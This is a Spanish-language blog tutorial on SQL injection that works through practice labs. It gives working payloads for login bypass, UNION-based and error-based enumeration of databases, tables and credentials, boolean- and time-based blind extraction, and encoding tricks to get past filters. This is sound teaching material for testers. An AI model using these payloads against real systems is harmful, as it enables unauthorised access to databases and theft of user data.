SQL injection
Table of contents
- SQL injection in WHERE clause
- SQL injection Broken Authentication
- In-band based
- Blind-Based SQL injections
- Bypass filters SQL injection
En esta seccion Un Poco De Web Pentesting mi intencion es explicar sin tanto tramite como explotar varias vulnerabilidades web tomando como ejemplo CTFs y laboratorios que me encuentro, ten en cuenta que este solo es un recurso mas de los que hay internet.
En esta seccion Un Poco De Web Pentesting mi intencion es explicar sin tanto tramite como explotar varias vulnerabilidades web tomando como ejemplo CTFs y laboratorios que me encuentro, ten en cuenta que este solo es un recurso mas de los que hay internet.
SQL injection in WHERE clause
Lab: PortSwigger
Cuando se hace referencia a “WHERE clause”, me refiero a cuando se esta haciendo uso de la clausula WHERE y no se estan sanitizando las entradas del usuario, asi que nosotros podemos ir alterando la consulta a nuestro favor para inyectar nuestros inputs maliciosos. El objetivo de este laboratorio es encontrar la forma de listar todos los productos que se encuentran para una categoria.
El laboratorio nos menciona que cuando se selecciona una categoria se esta realizando una consulta como esta:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Es decir:
Donde category
y released
seguramente sean columnas de la tabla products
. Vemos que en la consulta se esta usando el AND
, lo que quiere decir que se deben de cumplir las condiciones de que category = 'Gift'
y released = 1
, seguramente released
es la columna que dice si un producto esta publicado o no.
Rgresando a la pagina, cuando seleccionamos la categoria Pets
en la web nos muestra algo como esto:
Y en la URL sale algo como:
/filter?category=Pets
Osea que esta filtrando por la categoria Pets, recordemos que en esta ocasion no se esta sanitizando la consulta, por lo que podemos ir alterando la consulta para poder filtrar datos.
Entonces si sabemos como se esta haciendo la consulta, podemos empezar a modificarla, que pasara si ahora en la URL le mandamos esto:
filter?category=Pets' or 1=1-- -
Ahora la consulta sera algo como esto:
SELECT * FROM products WHERE category = 'Pets' or 1=1-- -
Lo que esta haciendo ahora es seleccionar todas las columnas de la tabla products donde la categoria sea Pets o 1=1.
Cuando se usa or
lo que hace es combinar varias condiciones en un WHERE, y al usarlo se asume que la condicion completa es verdadera cuando cualquiera de las condiciones sea verdadera.
En este caso toda la consulta es TRUE, ya que 1 si es igual a 1, y category es igual a ‘Pets’.
Pero vemos que al final de la consulta tiene un -- -
, esto es una forma de hacer comentarios en SQL, y lo usamos en esa parte ya que queremos que la condicion AND released = 1
se omita, asi seria la consulta que pasa por detras:
SELECT * FROM products WHERE category = 'Pets' or 1=1-- - AND released = 1
|
|
Ahora esto esta comentado y no es valido
Y con esto pudimos resolver el laboratorio, ya que mostramos todos los productos de la categoria Pets:D
SQL injection Broken Authentication
Con Broken Authentication
me refiero a que podemos evadir la autenticacion de una pagina web, como el inicio de sesion de una web, puede ocurrir que no conozcamos la contraseña ni el usuario, o puede ser que conozcamos un usuario con el que podemos iniciar sesion pero no conocemos su contraseña, sin embargo, no se estan sanitizando los inputs como en el ejemplo anterior y podemos ir modificando la consulta para inyectar nuestros inputs maliciosos.
Lab: ringzer0
Al entrar, podemos ver algo como esto:
Donde por detras, seguramente se esta relizando una consulta como esta, suponiendo que PHP es el lenguaje:
$consulta = "SELECT * FROM users WHERE username='" + $_POST["user"] + "' AND password= '" + $_POST["password"]$ + '";"
Nuestro objetivo es evadir el login usando un usuario valido sin conocer la contraseña, regularmente en una tabla donde se almacenan usuarios, el usuario admin
se encuentra registrado.
Podemos intentar mandarle esto como input:
usuario: admin’
contraseña: or 1=1– -
Y la consulta seria algo asi:
SELECT * FROM users WHERE username = 'admin' or 1=1-- - AND password = "no se"
Y la explicacion es la misma que en el laboratorio anterior, solo que ahora estamos diciendo que vamos a iniciar con el usuario admin
sin conocer la contraseña, ya que se comento la parte de AND password = ""
y ya no se hace valida.
Y con eso resolvimos el desafio:
In-band based
In-band es cuando la respuesta/salida de la consulta se muestra en la pagina web, osea en el front-end
UNION-based SQL injection
En este tipo de inyeccion se hace uso del operador UNION
con el fin de unir los resultados de varios SELECT
.
Funcion de UNION
Imaginemos que tenemos una consulta como esta:
SELECT nombre, anime FROM waifus UNION SELECT nombre, apellido FROM personas
Lo que esta haciendo es unir el resultado de la consulta SELECT nombre, anime FROM waifus
con el resultado de la consulta SELECT nombre, apellido FROM personas
, visualmente cada una de las consultas seria asi:
Se puede ver que cuando se hizo el UNION
, los datos de la segunta consulta se agregaron al final. Algunas consideraciones son:
- Cuando realizamos un UNION entre dos SELECT, los dos deben de tener el mismo numero de columnas seleccionadas en la consulta
- Deben de coincidir los tipos de datos, es decir, en el ejemplo de arriba debe de coincidir el tipo de dato de la columna
nombre
de la tabla waifus, con el de la columnanombre
de la tabla personas - Si no quieres descartar datos duplicados, usa
UNION ALL
Para saber si estamos contra una inyeccion de este tipo, podemos usar el payload 1' UNION SELECT 1,2,3-- -
.
Y si en la repuesta de la consulta ocurre que:
- Añada los datos de la segunda consulta
- Salga el mensaje
The used SELECT statements have a different number of columns
Es por que estamos ante una inyeccion SQL de este tipo
Obteniendo al numero de columnas
Antes de realizar UNION-based, es necesario conocer el numero de columnas que tiene, comunmente se hace con la instruccion ORDER BY
, esta instruccion nos sirve para hacer un ordenamiento de los datos con base en un numero de columnas, es decir, si usamos el payload 1' ORDER BY 10-- -
, le estamos diciento que nos ordene los datos basandose en la decima columna, si la tabla no tiene 10 columnas nos saltara un error, asi que podemos ir prueba y error hasta saber el numero de columnas existentes.
Obteniendo informacion basica
Nombre de la base de datos:
1' UNION SELECT null, null, database()-- -
Version de la base da datos: 1’
UNION SELECT null, null, @@version-- -
Usuario en uso de la base de datos:
1' UNION SELECT null, null, user()-- -
Concatenando
Habra veces donde tendremos que mostrar los resultados de varias columnas en una sola, para eso podemos concatenarlos usando concat()
, de esta manera:
1' UNION SELECT null, CONCAT(usuario, contraseña), null FROM usuarios-- -
En ese ejemplo estamos concatenando usuario
y contraseña
en el resultado de la columna 2
Obteniendo informacion con information schema
Los gestores de bases de datos tienen bases de datos que guardan informacion de otras bases de datos, en MySQL se llama information_schema
Enumerar las bases de datos
Una vez que sepamos el numero de columnas podemos usar un payload como este:
1' UNION SELECT schema_name, null, null FROM information_schema.schemata-- -
Donde la tabla schemata
tiene informacion de las bases de datos, y una de sus columnas es schema_name
, la cual tiene el nombre de las bases de datos.
Enumeracion de tablas
Supongamos que el resultado de la consulta anterior nos dio el nombre de una base de datos que se llama waifus
, asi que para sacar sus tablas podemos usar:
1' UNION SELECT table_name, null, null FROM informacion_schema.tables WHERE table_schema="waifus"-- -
Donde:
table_name
son las tablastable_schema
es el nombre de la base da datos
Enumeracion de columnas
Supongamos que la consulta anterior nos dio una tabla que se llama besto_waifus
, entonces para sacar sus columnas se usaria:
1' UNION SELECT column_name, null, null FROM information_schema.columns WHERE table_schema="waifus" AND table_name="besto_waifus"-- -
Donde:
column_name
son las columnas de la tablatable_schema
es la base de datostable_name
es la tabla
Mostrando los datos
Supongamos que la anterior consulta nos arrojo que tiene las columnas nombre
y anime
, asi que para mostrar esos datos podriamos usar:
1' UNION SELECT null, null, CONCAT(nombre, anime) FROM besto_waifus-- -
Mostrando los datos de otra base de datos
En todo caso de que estemos enumerando las tablas y columnas de una base de datos diferente a la que esta en uso, y queremos mostrar los datos de una tabla, podriamos usar lo siguiente
1' UNION SELECT null, null, CONCAT(nombre, anime) FROM waifus.besto_waifus-- -
Donde:
waifus
es la base de datosbesto_waifus
es la tabla
Error-based SQL injection
Lab: Acunetix (El numero total de columnas es 11)
La idea de las error-based es ocasionar a proposito un error, de tal forma, que podamos usar ese error para sacar informacion de la base de datos
La forma mas facil de ocasionar un error es agregando una comilla al final de la consulta, y el URL quedaria algo asi http://testphp.vulnweb.com/listproducts.php?cat=1'
, donde el resultado es:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74
Con esto sabemos que se esta usando MySQL como gestor, que ocasiono el error, donde lo ocasiono, y como extra nos muestra el directorio de un recurso: /hj/var/www/listproducts.php
Enumerando la base de datos
Obteniendo el nombre de la base de datos
Podemos hacer uso de la funcion EXTRACTVALUE()
la cual toma dos argumentos, una cadena de marcado XML y una expresion XPath. cuando se usa EXTRACTVALUE()
lo que regresa es un texto. Usaremos el payload:
AND EXTRACTVALUE('',CONCAT('=',database()))-- -
Basicamente muestra el nombre de la base de datos en uso, gracias a que ocasiono un error. Entonces la URL queda asi:
http://testphp.vulnweb.com/listproducts.php?cat=1 AND EXTRACTVALUE('',CONCAT('=',database()))-- -
Y el resultado es:
Vemos como la base de datos es acuart
Enumeracion de las bases de datos
Ojo: en este tipo de inyeccion solo podemos sacar un columna, asi que usaremos LIMIT 0,1
para solo obtener un dato.
Usaremos el payload:
AND EXTRACTVALUE('',CONCAT('=',(SELECT concat(schema_name) FROM information_schema.schemata LIMIT 0,1)))--
Y la URL queda
http://testphp.vulnweb.com/listproducts.php?cat=1%20AND%20EXTRACTVALUE(%27%27,CONCAT(%27=%27,(SELECT%20concat(schema_name)%20FROM%20information_schema.schemata%20LIMIT%200,1)))--
Y vemos que el resultado fue:
Y nos dice que una base de datos es ìnformation_schema
Si queremos iterar entre los resultados solo hay que cambiar la parte de LIMIT 0,1
a LIMIT 1,1
y asi sucesivamente
Enumeracion de las tablas
Una de las bases de datos existentes es acuart
asi que ahora mostraremos las tablas con el payload:
AND EXTRACTVALUE('',CONCAT('=',(SELECT table_name FROM information_schema.tables WHERE table_schema="acuart" LIMIT 0,1)))-- -
Y vemos que una de las tablas es artist
Blind-Based SQL injections
Este tipo de inyeccion se caracterizan por que no podemos ver el resultado de la consulta en la respuesta de la web, osea en el front-end, y en ocasiones no devolvera nada.
Boolean-based
Estas inyecciones utilizan condiciones booleanas (TRUE o FALSE), en las cuales devuelve un resultado dependiendo si un dato es correcto o no. En donde una consulta que sea TRUE devuelve un resultado diferente a una que sea FALSE
Para saber si estamos contra una boolean based, podemos inyectar operadores logicos como AND
y ir probando con una condicion que sea verdad(1=1) y una que sa falsa(1=2).
Funcion de substr()
Esta funcion devuelve el numero de caracteres desde una posicion, dado un string, donde su estructura es:
subtr(posicion, cantidad_de_caracteres)
Por ejemplo, al seleccionar el nombre de la base de datos podemos ver que nos sale esto:
MariaDB [information_schema]> select database();
+--------------------+
| database() |
+--------------------+
| information_schema |
+--------------------+
1 row in set (0.000 sec)
MariaDB [information_schema]>
Ahora usaremos substr()
para que nos regrese el primer caracter de la base de datos:
MariaDB [information_schema]> select substr((select database()), 1, 1);
+-----------------------------------+
| substr((select database()), 1, 1) |
+-----------------------------------+
| i |
+-----------------------------------+
1 row in set (0.003 sec)
Lo que estamos haciendo es decirle es que desde la primera posicion nos regrese un caracter del resultado de select database()
.
Si queremos que desde la segunda posicion nos regrese un caracter , sera asi:
select substr((select database()), 2, 1);
Y si queremos que desde la primera posicion nos regrese dos caracteres, ahora es asi:
select substr((select database()), 1, 2);
Nombre de la base de datos
Y podemos usar el payload:
' AND SUBSTR(database(),1,1)="w"-- -
El cual esta comparando si el primer caracter del nombre la base de datos es igual a w
y en caso de que sea correcto, nos devolvera TRUE y el servidor web nos respondera de cierta forma, por ejemplo, mostrando el mensaje Hola c4rtita
, y en caso de que no sea una letra de la base de datos y responda FALSE, entonces el mensaje Hola c4rtita
ya no aparecera.
Ahora, en caso que w
si sea una letra de la base de datos, entonces ahora tendremos que sacar la segunda, y usaremos el payload:
' AND SUBSTR(database(),2,1)="a"--
En esta caso vamos a comparar si la letra que se encuentra en la posicion dos del nombre de la base de datos es igual a a
. Y asi podemos ir adivinando el nombre de la base de datos, pero es muy tedioso, asi que en este tipo de inyecciones tendras que hacerte un script.
Para complementar la explicacion puedes leer aqui
Time-Based
Son casi iguales que las Boolean-based, solo que ahora para saber si nuestra inyeccion es correcta, tendremos que esperar un cierto tiempo antes de que el servidor nos de una respuesta, y al igual que las boolean based, necesitamos que la primera expresion AND
devuelva un TRUE.
Para saber si estamos ante una inyeccion de este tipo, podemos usar este payload:
' and sleep(5)-- -
Y si el servidor tarda 5 segundos en darnos una repuesta es por que estamos contra una inyeccion de este tipo
Nombre de la base de datos
Podemos usar el payload:
' AND IF(SUBSTR(database(),1,1)="w", sleep(5),1)-- -
Lo que esta haciendo es comparar que la primera letra del nombre de la base de datos sea w
, y en caso de que lo sea nos regresa TRUE, y esperara 5 segundos.
Con las boolean-based y las time-based tambien podemos enumerar tablas y columnas usando la base de datos ìnformation_schema
, como por ejemplo de esta forma:
' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema="waifus" LIMIT 0,1),1,1)="b",sleep(5),1)-- -
Donde esta comparando si la primera letra de la primera tabla de la base de datos waifus
es igual a b
, y si es TRUE, entonces el servidor tarda 5 segundos en responder.
Y por ultimo, en las boolean-based y time-based se ocupan scritps para hacer mas rapido el proceso.
Si quieres leer mas de las time-based puedes leer aqui
Bypass filters SQL injection
null-bytes
Puede ser que en la consulta se esten bloquendo ciertos caracteres en la consulta de SQL, una forma es usando null-byte
, basicamente poner %00
por delante de el caracter que es este bloquendo:
%00' or 1=1--
URL encode
Los caracteres no validos en las URL deben de convertirse a ASCII validos para que las URL los puedan interpretar, por ejemplo:
' or 1=1--
En URL encode es:
%27%20or%201%3D1--
Para codificarlos pueden usar URL encode
Hex encoding
Con la codifcacion hexadecimal va a remplazar los caracteres originales con su valor en hexadecimal
Normal:
MariaDB [test]> SELECT anime FROM waifus WHERE nombre = "Miwa Yamamura";
+-----------+
| anime |
+-----------+
| Barakamon |
+-----------+
1 row in set (0.001 sec)
Hex:
MariaDB [test]> SELECT anime FROM waifus WHERE nombre = UNHEX('4D6977612059616D616D757261');
+-----------+
| anime |
+-----------+
| Barakamon |
+-----------+
1 row in set (0.001 sec)
Char encoding
Seria practicamente lo mismo que la hexadecimal, solo que ahora se hace uso de la funcion CHAR()
Puedes consultar la tabla usando man ascii
:
Tables
For convenience, below is a more compact table in decimal.
30 40 50 60 70 80 90 100 110 120
---------------------------------
0: ( 2 < F P Z d n x
1: ) 3 = G Q [ e o y
2: * 4 > H R \ f p z
3: ! + 5 ? I S ] g q {
4: " , 6 @ J T ^ h r |
5: # - 7 A K U _ i s }
6: $ . 8 B L V ` j t ~
7: % / 9 C M W a k u DEL
8: & 0 : D N X b l v
9: ' 1 ; E O Y c m w
Y el ejemplo seria:
SELECT anime FROM waifus WHERE nombre = CHAR(77,105,109,97); --> Ahi dice "Miwa"
Concatenacion de strings
Basicamente dividir la palabra y luego unirla
MySQL: SELECT anime FROM waifus WHERE nombre=CONCAT('Miwa Yama','mura');
sqlite y PostgresSQL: SELECT anime FROM waifus WHERE nombre='Miwa Yama'||'mura';
Comentarios
Basicamente es divir una consulta entre comentarios, tambien sirve para evadir la restriccion cuando no se admiten espacios en blanco
Ejemplo:
MariaDB [test]> SELECT/**/*/**/FROM/**/waifus/**/WHERE/**/nombre/**/=/**/'Miwa Yamamura';
+---------------+-----------+
| nombre | anime |
+---------------+-----------+
| Miwa Yamamura | Barakamon |
+---------------+-----------+
1 row in set (0.001 sec)
Si quieres ver algunas de estas tecnicas para evadir filtros pero aplicados a una CTF, puedes leer este otro post mio: picale aqui
Y como extra, si quieres la explicacion de los labs de PortSwigger puedes ver el writeup de mi compa dansh
Eso ha sido todo, gracias por leer ❤